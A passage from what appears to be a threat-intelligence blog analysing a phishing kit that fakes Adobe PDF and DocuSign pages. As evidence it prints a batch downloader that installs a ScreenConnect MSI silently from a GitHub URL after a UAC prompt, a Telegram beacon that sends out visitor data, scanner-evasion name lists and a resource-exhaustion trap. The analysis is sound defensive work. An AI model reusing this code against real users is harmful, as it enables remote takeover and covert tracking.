Reports to Telegram <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/app.any.run\/tasks\/08790f88-7a5e-4dae-a528-92589234a8f1?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">Check sandbox session<\/a><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"579\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-1024x579.png\" alt=\"The lure mail CSuite\" class=\"wp-image-23233\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-1024x579.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-300x170.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-768x434.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-1536x868.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-2048x1157.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-370x209.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-270x153.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-mail-740x418.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The lure mail. A compliance deadline, a short list of things the recipient must do, and one button<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Every host in the pivot corpus serves the same page. It renders a counterfeit PDF viewer, the title <strong>PDF Viewer<\/strong>, the Adobe Clean typeface, a drawn browser window with an Adobe tab, over a document that sits just out of reach behind a modal. The document is whatever theme the campaign is running that week: a blank business contract in the recovered samples, a licensing agreement in the live run below. The only working control is the button, and the button downloads. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-1024x578.jpg\" alt=\"Counterfeit PDF viewer with the update prompt\" class=\"wp-image-23286\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-1024x578.jpg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-300x169.jpg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-768x434.jpg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-370x209.jpg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-270x152.jpg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer-740x418.jpg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/Counterfeit-PDF-viewer.jpg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>Counterfeit PDF viewer with the update prompt<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">On load the page queries a geolocation service, assembles a visitor record, and posts it to the Telegram bot API. The code reaches the victim unminified, still carrying the setup instructions the kit shipped with: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const TELEGRAM_BOT_TOKEN = '8996595988:******'; \nconst TELEGRAM_CHANNEL_ID = '20****165'; \n     \n\/\/ Telegram Notification Functions \nasync function getVisitorInfo() { \n  try { \n    \/\/ Get visitor's IP and location info \n    const response = await fetch('https:\/\/ipapi.co\/json\/'); \n    const data = await response.json(); \n\/\/ ... <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The record is formatted as a chat message and delivered with one POST: address, country, city, region, time zone and carrier; coordinated and local time; platform, language, screen and window dimensions; and the full user-agent string. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>async function sendTelegramNotification(visitorInfo) { \n      try { \n        const message = `?? New Visitor Alert - MSI Page \n         \n?? Location Details: \n\u2022 IP Address: ${visitorInfo.ip} \n\u2022 Country: ${visitorInfo.country} \n\u2022 City: ${visitorInfo.city} \n\u2022 Region: ${visitorInfo.region} \n\u2022 Timezone: ${visitorInfo.timezone} \n\u2022 ISP: ${visitorInfo.isp} \n \n? Time Information: \n\u2022 UTC Time: ${visitorInfo.timestamp} \n\u2022 Local Time: ${visitorInfo.localTime} \n \n?? Device Details: \n\u2022 Platform: ${visitorInfo.platform} \n\u2022 Language: ${visitorInfo.language} \n\u2022 Screen: ${visitorInfo.screenResolution} \n\u2022 Window: ${visitorInfo.windowSize} \n \n?? Browser Info: \n\u2022 User Agent: ${visitorInfo.userAgent} \n \n--- \nAdobe Acrobat MSI Download Page Visit`; \n \n\/\/ ...  \nconst telegramUrl = `https:\/\/api.telegram.org\/bot${TELEGRAM_BOT_TOKEN}\/sendMessage`; \nconst response = await fetch(telegramUrl, { \n  method: 'POST', \n  headers: { \n    'Content-Type': 'application\/json', \n  }, \n  body: JSON.stringify({ \n    chat_id: TELEGRAM_CHANNEL_ID, \n    text: message, \n    parse_mode: 'HTML' \n  }) \n}); \n\/\/ ... <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Clicking the \u201cView Update\u201d button opens a drawn browser window inside the page, styled as get.adobe.com and titled \u201cDownload and launch to view NMLS 2026 Updated Agreement\u201d, with two numbered steps. Step one downloads; step two tells the victim to open the file from the Downloads folder. The browser\u2019s own download panel is where the pretence breaks: the delivered file is <strong>NMLS 2026 Updated Agreement.bat.<\/strong> <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-1024x578.jpeg\" alt=\"The counterfeit Adobe download page drawn inside the lure, and the batch file it hands over\" class=\"wp-image-23235\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-270x152.jpeg 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2-740x418.jpeg 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-2.jpeg 1360w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The counterfeit Adobe download page drawn inside the lure, and the batch file it hands over<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">That batch file is 324 bytes long, and it does one thing: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>@echo off \nREM Check if already admin \nfltmc &gt;nul 2&gt;&amp;1 \nset CODE=%errorLevel% \nif %CODE% == 0 ( \n    msiexec \/i \"https:\/\/github.com\/Ivan3900\/test\/raw\/main\/ScreenConnect.ClientSetup.msi\" \/quiet \/norestart \n) else ( \n    REM Re-run the script as admin \n    powershell -Command \"Start-Process '%~f0' -Verb RunAs\" \n    exit \n) <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">fltmc answers whether the script already holds administrative rights; when it does not, PowerShell relaunches the script through the UAC prompt the victim has been primed to accept.  <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Anti-Analysis Scaffold <\/h3>\n\n\n\n<div class=\"wpdt-c row wpDataTableContainerSimpleTable wpDataTables wpDataTablesWrapper\n\"\n    >\n        <table id=\"wpdtSimpleTable-390\"\n           style=\"border-collapse:collapse;\n                   border-spacing:0px;\"\n           class=\"wpdtSimpleTable wpDataTable\"\n           data-column=\"2\"\n           data-rows=\"9\"\n           data-wpID=\"390\"\n           data-responsive=\"0\"\n           data-has-header=\"1\">\n\n                    <thead>        <tr class=\"wpdt-cell-row \" >\n                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"A1\"\n                    data-col-index=\"0\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Mechanism\u00a0                    <\/th>\n                                                <th class=\"wpdt-cell \"\n                                            data-cell-id=\"B1\"\n                    data-col-index=\"1\"\n                    data-row-index=\"0\"\n                    style=\" width:50%;                    padding:10px;\n                    \"\n                    >\n                                        Implementation\u00a0                    <\/th>\n                                        <\/tr>\n                    <tbody>        <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A2\"\n                    data-col-index=\"0\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Shared blacklist\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B2\"\n                    data-col-index=\"1\"\n                    data-row-index=\"1\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        blacklistSystem.checkBlacklist()\u00a0onDOMContentLoaded, loaded from the\u00a0m\/\u00a0directory\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A3\"\n                    data-col-index=\"0\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Decoy page\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B3\"\n                    data-col-index=\"1\"\n                    data-row-index=\"2\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        A false maintenance notice whose button callsactivateTrap()\u00a0in the shared gate\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A4\"\n                    data-col-index=\"0\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Environment checks\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B4\"\n                    data-col-index=\"1\"\n                    data-row-index=\"3\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        detectAutomation,\u00a0validateBrowserEnvironment\u00a0andgenerateSecureToken, each routing a failure to the decoy page\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A5\"\n                    data-col-index=\"0\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Honeypot fields\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B5\"\n                    data-col-index=\"1\"\n                    data-row-index=\"4\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Hidden inputs\u00a0honeypot1\u00a0and\u00a0honeypot2\u00a0positioned off-screen; filling either one triggers a block\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A6\"\n                    data-col-index=\"0\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Platform filter\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B6\"\n                    data-col-index=\"1\"\n                    data-row-index=\"5\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Mobile, touch-enabled desktop and non-Windows visitors are diverted, since the payload is Windows-only\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A7\"\n                    data-col-index=\"0\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Debugger obstruction\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B7\"\n                    data-col-index=\"1\"\n                    data-row-index=\"6\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Context menu, F12, developer-tool and view-source shortcuts suppressed; the console is cleared once a second\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A8\"\n                    data-col-index=\"0\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Index suppression\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B8\"\n                    data-col-index=\"1\"\n                    data-row-index=\"7\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        noindex,\u00a0nofollow,\u00a0noarchive,\u00a0nosnippet, no-store caching and\u00a0Referrer-Policy: no-referrer\u00a0                    <\/td>\n                                        <\/tr>\n                            <tr class=\"wpdt-cell-row \" >\n                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"A9\"\n                    data-col-index=\"0\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Warning bypass\u00a0                    <\/td>\n                                                <td class=\"wpdt-cell \"\n                                            data-cell-id=\"B9\"\n                    data-col-index=\"1\"\n                    data-row-index=\"8\"\n                    style=\"                    padding:10px;\n                    \"\n                    >\n                                        Microsoft Edge visitors get a dialogue coaching them to press Keep on the download warning\u00a0                    <\/td>\n                                        <\/tr>\n                    <\/table>\n<\/div><style id='wpdt-custom-style-390'>\ntable#wpdtSimpleTable-390{ table-layout: fixed !important; }\ntable#wpdtSimpleTable-390 td, table.wpdtSimpleTable390 th { white-space: normal !important; }\n<\/style>\n\n\n\n\n<p class=\"wp-block-paragraph\">The flow is designed to do two things in one visit: install a remote-management client, then redirect the victim to a credential-capture page through window.utils.getObfuscatedUrl(), carrying the victim\u2019s address from the URL fragment. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In both deployments, the m\/ directory is missing, leaving window.utils, blacklistSystem, and botTrapSystem undefined. Because each call is protected by a typeof check, the page continues to function:cloaking and redirection fail, but the beacon and payload delivery still work. Telemetry supports this, with 13 consecutive alerts from page A including unfiltered data-centre addresses. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The Gate at The Pivot Path <\/h3>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"553\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-1024x553.png\" alt=\"The JavaScript utils.js file import inside PDF Viewer\" class=\"wp-image-23237\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-1024x553.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-300x162.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-768x415.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-1536x829.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-370x200.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-270x146.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source-740x400.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/html-lure-source.png 1987w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The JavaScript utils.js file import inside PDF Viewer<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>m\/js\/utils.js<\/strong> is the file every page in the corpus asks for, and a copy of it sits at that exact path in another sandbox run of the kit. It is 66 KB of unminified, commented JavaScript under the headerEnhanced CAPTCHA Protection Utilities.  <\/p>\n\n\n\n<!-- Regular Banner START -->\n<div class=\"regular-banner\">\n<!-- Text Content -->\n<p class=\"regular-banner__text\">\n<span class=\"highlight\">Increase SOC capacity without adding headcount.\n<\/span> \n<br>\nHandle more investigations with less manual work.\n<\/p>\n<!-- CTA Link -->\n<a class=\"regular-banner__link\" id=\"article-banner-regular\" href=\"https:\/\/any.run\/enterprise\/?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoenterprise#contact-sales\" rel=\"noopener\" target=\"_blank\">\nStrengthen Incident Response<\/a>\n<\/div>\n<!-- Regular Banner END -->\n<!-- Regular Banner Styles START -->\n\n<style>\n.regular-banner {\ndisplay: flex;\ntext-align: center;\nflex-direction: column;\nalign-items: center;\ngap: 1.5rem;\nwidth: 100%;\npadding: 2rem;\nmargin: 1.5rem 0;\nborder-radius: 0.5rem;\nfont-family: 'Catamaran Bold';\nmargin-inline: auto;\nbackground: rgba(32, 168, 241, 0.1);\nborder: 1px solid rgba(75, 174, 227, 0.32);\n}\n\n.regular-banner__text {\nfont-size: 1.5rem;\nmargin: 0;\n}\n\n.highlight {\ncolor: #ea2526;\n}\n\n.regular-banner__link {\npadding: 0.5rem 1.5rem;\nfont-weight: 500;\ntext-decoration: none;\nborder-radius: 0.5rem;\ncolor: #FFFFFF;\nbackground-color: #1491D4;\ntext-align: center;\ntransition: all 0.2s ease-in;\n}\n\n.regular-banner__link:hover {\nbackground-color: #68CBFF;\ncolor: white;\n}\n<\/style>\n<!-- Regular Banner Styles END -->\n\n\n\n<p class=\"wp-block-paragraph\">The code decides whether a visitor is worth a phishing page. It checks: <\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>The user-agent against forty crawler and automation signatures \u2014 search-engine and link-preview bots, curl, wget, python-requests, and the automation stack: headless, selenium, webdriver,puppeteer, phantom, jsdom. <\/li>\n\n\n\n<li>The user-agent against thirty-two security-vendor and scanner names \u2014 endpoint vendors, mail gateways such as mimecast, proofpoint, barracuda and cofense, and reputation services such asvirustotal, urlscan, netcraft, sucuri and zscaler. <\/li>\n\n\n\n<li>The visitor\u2019s address against twenty hard-coded addresses and two \/24 ranges, with a helper that adds new ones at runtime. <\/li>\n\n\n\n<li>The address itself twice over, through a STUN request to Google\u2019s server and through a public lookup service, so a browser behind a proxy still gives up a local candidate. <\/li>\n\n\n\n<li>The country behind that address against a six-entry block list, resolved through a public geolocation API. <\/li>\n\n\n\n<li>The browser fingerprint against a ban list held in localStorage \u2014 three failed checks and that fingerprint is refused for 24 hours. <\/li>\n\n\n\n<li>Whether the environment behaves like a browser at all: storage, canvas, WebGL and font access, plugin state, time-zone consistency, and platform against user-agent. <\/li>\n\n\n\n<li>Whether a human is present: mouse-velocity variance, keystrokes, touch events, interaction count and time on page. <\/li>\n\n\n\n<li>A reCAPTCHA v3 score against a threshold that comes from server-side configuration. <\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Two name lists do most of that work: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>knownBotSignatures: &#091; \n    \"googlebot\", \"bingbot\", \"yandexbot\", \"slurp\", \"duckduckbot\", \"baiduspider\", \n    ... \n    \"scanner\", \"crawler\", \"spider\", \"headless\", \"scraper\", \"selenium\", \"webdriver\", \n    \"puppeteer\", \"phantom\", \"nightmare\", \"jsdom\" \n], \n \n\/\/ Known security tools and email security scanners - REDUCED LIST \nsecurityTools: &#091; \n    \"avast\", \"avg\", \"avira\", \"bitdefender\", \"kaspersky\", \"mcafee\", \"norton\", \n    \"eset\", \"f-secure\", \"trend micro\", \"sophos\", \"symantec\", \"trustwave\", \"forcepoint\", \n    \"checkpoint\", \"barracuda\", \"mimecast\", \"proofpoint\", \"fireeye\", \"crowdstrike\", \n    \"cyren\", \"spamhaus\", \"spamcop\", \"netcraft\", \"virustotal\", \"sucuri\", \"urlscan\", \n    \"zscaler\", \"office365\", \"microsoft-security\", \"cisco\", \"forcepoint\", \"cofense\" \n] <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Read the second list as the set of checks the operator expects a lure to have to survive; forcepoint appears in it twice, which says something about how it was assembled. Country filtering is five lines, and the comment reads like a template default nobody revisited: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const geoBlockSystem = { \n    blockedCountries: &#091;\"RU\", \"CN\", \"KP\", \"IR\", \"SY\", \"CU\"], \/\/ Example: block Russia, China, North Korea, Iran, Syria, Cuba \n    ... \n    if (this.blockedCountries.includes(this.visitorCountry)) { \n        this.blockAction(); \n    } <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">A visitor who fails any check gets one of three fake maintenance pages, \u201cWe\u2019re making some improvements\u201d, a 503 with a generated error reference, a database-migration notice, and every button on them is wired to a trap: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ Create an infinite loop that consumes CPU and memory \nfunction activateTrap() { \n    showLoadingMessage(); \n    ... \n    for (let i = 0; i &lt; 10000; i++) { \n        memoryConsumer.push(Array(1000).fill(Math.random().toString(36))); \n    } \n    let result = 0; \n    for (let i = 0; i &lt; 10000000; i++) { \n        result += Math.sqrt(i) * Math.cos(i) \/ (1 + Math.sin(i)); \n    } \n    setTimeout(infiniteLoop, 10); \n} <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The trap also arms itself on a timer, 30 to 120 seconds after load, \u201cto catch bots that don\u2019t interact but wait on the page\u201d \u2014 a direct shot at automated analysis that opens a URL and idles. <\/p>\n\n\n\n<h3 class=\"wp-block-heading\">The PHP Build of the Same Kit <\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">With the following TI Lookup query, we can search through recent public sandbox analyses and identify this malicious activity. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">TI Lookup: <a href=\"https:\/\/intelligence.any.run\/analysis\/lookup?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktotilookup#{%22query%22:%22url:%5C%22\/e-sign_files\/Icon-pdf-file-svg.png$%5C%22%20OR%20url:%5C%22eDocusign.php$%5C%22%20OR%20url:%5C%22\/e-sign.php$%5C%22%22,%22dateRange%22:180}\" target=\"_blank\" rel=\"noreferrer noopener\">url:&#8221;\/e-sign_files\/Icon-pdf-file-svg.png$&#8221; OR url:&#8221;eDocusign.php$&#8221; OR url:&#8221;\/e-sign.php$&#8221;<\/a> <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"613\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-1024x613.png\" alt=\"TI Lookup with .php URLs\" class=\"wp-image-23238\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-1024x613.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-300x180.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-768x460.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-1536x919.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-370x221.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-270x162.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2-740x443.png 740w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/intelligence-lookup-2.png 1749w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>TI Lookup with .php URLs<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">This build is public in a sandbox run of its own: <a href=\"https:\/\/app.any.run\/tasks\/01709d4e-aa5d-4be3-b374-c21ced022181?utm_source=anyrunblog&amp;utm_medium=article&amp;utm_campaign=csuite-attack-analysis&amp;utm_term=220926&amp;utm_content=linktoservice\" target=\"_blank\" rel=\"noreferrer noopener\">ANY.RUN&#8217;s analysis session<\/a> of 27 August 2026, and the earliest public submission of the same build dates to 2 April 2026. It opens with a forged DocuSign envelope. <\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"579\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-1024x579.png\" alt=\"The lure mail: a forged DocuSign envelope in the name of a law firm, with one call to action.\" class=\"wp-image-23239\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-1024x579.png 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-300x170.png 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-768x434.png 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-1536x868.png 1536w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-2048x1157.png 2048w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-370x209.png 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-270x153.png 270w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-mail-740x418.png 740w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\"><em>The lure email: a forged DocuSign envelope in the name of a law firm, with one call to action<\/em><\/figcaption><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">The Adobe pages are a static export. The DocuSign line runs the original server-side build, where five files carry the whole flow: index.php, eDocusign.php, e-sign.php, download.php andsettings.php. The header comment names its author and a contact handle, DocuSign BY &lt;NICKNAME&gt; tg-@&#8230;, and the alert footer repeats the same signature seen in the DocuSign templates in open telemetry, which is what marks the build as one author\u2019s work. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">index.php is the entry point. It reads the visitor from the request, resolves geolocation server-side, reports, and moves the visitor on: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ip      = $_SERVER&#091;'REMOTE_ADDR'] ?? 'UNKNOWN'; \n$agent   = $_SERVER&#091;'HTTP_USER_AGENT'] ?? 'UNKNOWN'; \n$referer = $_SERVER&#091;'HTTP_REFERER'] ?? 'Direct \/ None'; \n$geo = @json_decode(file_get_contents(\"http:\/\/ip-api.com\/json\/$ip\"), true); \n$message = \"\ud83d\udd14&lt;b&gt; DocuSign Visit Alert &lt;\/b&gt;\ud83d\udd14\\n\\n\" . \"\ud83d\udd52 Time: $time\\n\" . \"\ud83e\uddec IP: $ip\\n\" . ...; \nsendTelegramMessage($message); \nheader(\"Location: eDocusign.php\"); <\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>eDocusign.php<\/strong> is the decoy. A business-proposal letter is rendered and then blurred with filter: blur(6px), with a PDF icon and a spinner floating above it, so the visitor sees a document that appears to be loading. Copy, save, print, select-all, view-source and drag are disabled, and after five seconds the page moves on by itself: <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;div class=\"protected\"&gt;   &lt;!-- the whole letter, rendered then blurred --&gt; \n&lt;div class=\"pdf-overlay\"&gt;&lt;img src=\"e-sign_files\/Icon-pdf-file-svg.png\" class=\"pdf-icon\"&gt;&lt;div class=\"spinner\"&gt;&lt;\/div&gt;&lt;\/div&gt; \n... \nsetTimeout(function () { window.location.href = \"e-sign.php\"; }, 5000); <\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"578\" src=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-1024x578.jpeg\" alt=\"The decoy proposal, rendered and blurred \" class=\"wp-image-23240\" srcset=\"https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-1024x578.jpeg 1024w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-300x169.jpeg 300w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-768x434.jpeg 768w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-370x209.jpeg 370w, https:\/\/any.run\/cybersecurity-blog\/wp-content\/uploads\/2026\/09\/php-eDocusign-270x152.jpeg 270w, 